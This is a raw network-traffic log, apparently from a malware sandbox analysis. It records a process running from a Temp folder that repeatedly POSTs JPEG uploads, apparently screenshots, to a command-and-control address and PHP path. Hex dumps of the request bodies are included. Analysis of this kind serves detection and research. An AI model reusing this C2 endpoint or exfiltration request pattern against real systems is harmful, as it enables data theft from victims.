Aug 29, 2021 22:27:32.902533054 CEST	6682	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:27:33.008450031 CEST	6744	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.4	49789	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:33.304291010 CEST	6745	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db56d3c9a49176ccd92b63c96c9facd8 Host: 46.17.96.36 Content-Length: 109347 Cache-Control: no-cache
Aug 29, 2021 22:27:33.304423094 CEST	6745	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 35 36 64 33 63 39 61 34 39 31 37 36 63 63 64 39 32 62 36 33 63 39 36 63 39 66 61 63 64 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db56d3c9a49176ccd92b63c96c9facd8Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:33.304610968 CEST	6755	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:33.304712057 CEST	6758	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:33.337270021 CEST	6761	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:33.337316036 CEST	6771	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:33.337450027 CEST	6778	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:33.338710070 CEST	6783	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:33.370011091 CEST	6791	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:33.370074034 CEST	6810	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:27:33.370096922 CEST	6812	OUT	Data Raw: ff 00 0a eb c5 7e 5e 7c cf 9f 6e 3a e7 ca 38 a8 aa b9 92 5e 66 94 e5 ca db 3b 78 8d ff 00 8e ae 25 95 6e e6 b1 d0 23 72 91 88 4e d9 2e 48 ea 49 ec 3f cf 5a 98 78 0b c3 6c cc 96 93 4d 0d d2 7f cb 48 6e 89 91 4f af 7f e5 4e b1 f3 bf e1 56 47 fd 97 Data Ascii: ~^\|n:8^f;x%n#rN.HI?ZxlMHnONVG?'gwc9ktBg>c?s]49*rQv:9]H9+Gh+_SAJ\8%_oGZ(1ATY%oW/,98]?R,'{5
Aug 29, 2021 22:27:33.473803043 CEST	6855	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.4	49790	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:33.750885010 CEST	6856	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----bf8d5a167ee28da00e24b992931fcac0 Host: 46.17.96.36 Content-Length: 108282 Cache-Control: no-cache
Aug 29, 2021 22:27:33.750983000 CEST	6856	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 66 38 64 35 61 31 36 37 65 65 32 38 64 61 30 30 65 32 34 62 39 39 32 39 33 31 66 63 61 63 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------bf8d5a167ee28da00e24b992931fcac0Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:33.751148939 CEST	6866	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:33.751245975 CEST	6868	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:33.787460089 CEST	6877	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:33.787883997 CEST	6879	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:33.788081884 CEST	6889	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:33.788132906 CEST	6894	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:33.822530985 CEST	6897	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:33.822582006 CEST	6904	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:33.822726011 CEST	6907	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:27:33.931401968 CEST	6965	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.4	49791	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:34.169234991 CEST	6966	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9 Host: 46.17.96.36 Content-Length: 107971 Cache-Control: no-cache
Aug 29, 2021 22:27:34.169317007 CEST	6966	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 32 61 62 31 30 35 61 36 36 39 66 37 63 63 32 66 66 65 38 34 65 62 38 37 37 31 39 34 34 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------72ab105a669f7cc2ffe84eb8771944d9Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:34.169481993 CEST	6976	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:34.169562101 CEST	6979	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:34.202125072 CEST	6981	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:34.202178001 CEST	6984	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:34.202192068 CEST	6989	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:34.202214956 CEST	6999	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:34.202342987 CEST	7004	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:34.235582113 CEST	7007	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:34.235955000 CEST	7009	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:34.340368032 CEST	7074	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.4	49792	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:34.557521105 CEST	7075	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----72ab105a669f7cc2ffe84eb8771944d9 Host: 46.17.96.36 Content-Length: 107971 Cache-Control: no-cache
Aug 29, 2021 22:27:34.557717085 CEST	7075	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 32 61 62 31 30 35 61 36 36 39 66 37 63 63 32 66 66 65 38 34 65 62 38 37 37 31 39 34 34 64 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------72ab105a669f7cc2ffe84eb8771944d9Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:34.557940006 CEST	7085	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:34.558062077 CEST	7088	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:34.592124939 CEST	7101	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:34.592165947 CEST	7113	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:34.624927044 CEST	7119	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:34.624989033 CEST	7127	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:34.625168085 CEST	7129	OUT	Data Raw: 56 1d 46 29 a0 8f 5a 0b 0f 5a 61 61 c6 9b 46 45 19 a5 74 00 69 28 26 90 9a 40 38 53 c5 30 1a 76 6a 93 13 40 7a d1 de 90 9a 33 9a 00 53 47 6a 05 14 08 51 4b 8a 07 34 13 8a a0 0a 5f 7a 40 68 cd 02 b0 f1 4b 4d 07 9a 75 32 42 90 d2 d0 69 80 83 a5 2e Data Ascii: VF)ZZaaFEti(&@8S0vj@z3SGjQK4_z@hKMu2Bi.(P1NP)uJdZ`(65DfNM>0R(Jh;u4pxBcRzEM"e4`GqC;S39,>L2,:4
Aug 29, 2021 22:27:34.625195026 CEST	7140	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
